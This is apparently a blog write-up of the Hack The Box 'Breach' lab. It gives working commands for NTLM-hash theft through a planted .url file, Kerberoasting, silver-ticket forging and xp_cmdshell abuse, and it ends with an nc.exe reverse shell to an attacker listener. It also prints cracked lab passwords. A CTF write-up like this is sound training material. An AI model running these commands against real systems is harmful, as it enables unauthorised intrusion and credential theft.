October 16, 2026·Johnytiger

HTB: Breach

A guest-readable SMB share lets us drop a malicious url file and poison an NTLM hash out of julia.wong, which cracks to a foothold. Kerberoasting hands over the MSSQL service account, and with its NT hash we forge a silver ticket as the Administrator, flip on xp_cmdshell, and ride GodPotato straight to SYSTEM.

securityctfwriteuphacktheboxactive directorywindowssmbmssqlkerberoastingprivilege escalation

Looking at the nmap scan, we clearly have an Active Directory machine: a web app on port 80 and MSSQL on 1433.

The nmap scan showing an Active Directory host with a web app on port 80 and Microsoft SQL Server on 1433

Let's check for guest SMB access and see if we can uncover any users. Let's also add those domains to our hosts file.

nxc smb 10.129.109.77 -u 'guest' -p '' --shares --timeout 30

A netexec smb run as the guest account listing the available shares

Let's attempt a rid-brute.

nxc smb 10.129.109.77 -u 'guest' -p '' --rid-brute 10000

A guest rid-brute run enumerating domain accounts

Let's just try to log into SMB ourselves using smbclient.

smbclient -L //10.129.109.77 -U 'guest%' -t 30

smbclient listing the shares on the target as the guest user

We can see a couple of shares, let's explore the share.

smbclient //10.129.109.77/share -U 'guest%' -t 30

We have some interesting directories. We reach the transfer directory and come across user folders with their names on them. Let's save these names to a users.txt file.

The transfer directory holding folders named after individual users

The list of usernames gathered from the user folders

We try to ls and download the files but get nowhere.

Attempts to list and download the files that lead nowhere

So let's try to put a file instead.

put /etc/hostname test.txt

Successfully writing a test file into the share with the smbclient put command

Success! Alright, let's fire up responder and try to coax a callback, maybe we can grab something. We generate a batch of NTLM-theft files and drop a malicious url into the share.

sudo responder -I tun0 -dwv
python3 /home/poe/tools/ntlm_theft/ntlm_theft.py -g all -s 10.10.14.211 -f poe
put "poe-(icon).url" "@poe.url"

Responder catching an NTLM hash for the julia.wong account after planting a malicious url file in the share

We get a hit on the julia.wong account. We save that hash and crack it with hashcat.

hashcat -m 5600 julia.hash /usr/share/wordlists/rockyou.txt

Cracking the captured julia.wong hash with hashcat against rockyou

It cracks fairly easily. Let's check that user's SMB shares, and heading over to their transfer share we find the user.txt flag.

smbclient //10.129.109.77/share -U 'julia.wong' -t 30

Checking through the rest of the directories we find nothing else, so let's AS-REP and Kerberoast the user. We turn up a svc_mssql account.

nxc ldap 10.129.109.77 -u 'Julia.Wong' -p 'Computer1' --kerberoasting kerberoast.hash

AS-REP and Kerberoast enumeration revealing the MSSQL service account

Kerberoasting the user to request service tickets

Let's request the service ticket for svc_mssql.

impacket-getTGT breach.vl/Julia.Wong:'Computer1' -dc-ip 10.129.109.77
export KRB5CCNAME=Julia.Wong.ccache && impacket-GetUserSPNs -k -no-pass -dc-host BREACHDC.breach.vl breach.vl/ -request-user svc_mssql

Requesting the service ticket for the MSSQL service account with impacket GetUserSPNs

We get a hash, and it cracks in just a few seconds. Now let's check out this MSSQL account and see what we can do with it.

The MSSQL service account hash cracked in seconds

Running through the database we don't find much, so let's step back and see what we can do with the service account itself.

impacket-mssqlclient breach.vl/svc_mssql:'Trustno1'@10.129.109.77 -windows-auth

Connecting to MSSQL as the service account and exploring the database

Since we control the svc_mssql account's NT hash, we can forge a silver ticket for the MSSQL SPN as the Administrator.

impacket-ticketer -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator

Forging a silver ticket for the MSSQL SPN as the Administrator with impacket ticketer

Now let's use it on mssqlclient and flip on xp_cmdshell.

export KRB5CCNAME=Administrator.ccache && impacket-mssqlclient -k -no-pass BREACHDC.breach.vl
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami /priv';

Using the forged ticket on mssqlclient to enable xp cmdshell and run whoami priv

We're in! Alright, let's get a shell back to us. We bring over GodPotato-Net4.exe and nc.exe and use those to hit our nc listener.

EXEC xp_cmdshell 'C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"';
EXEC xp_cmdshell 'C:\Windows\Temp\gp.exe -cmd "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.211 4444"';

Running GodPotato through xp cmdshell to abuse SeImpersonate and move toward SYSTEM

Catching the reverse shell from nc back on the listener

We're NT AUTHORITY\SYSTEM. Heading over to the Administrator's desktop, we find our root.txt flag.

This box was great real-world practice. Exploring databases left open is always fun to play with, and enumerating permissions was really helpful here. Always check your accounts and see what they're allowed to do, because you never know where that will lead you.

End of transmissionAll posts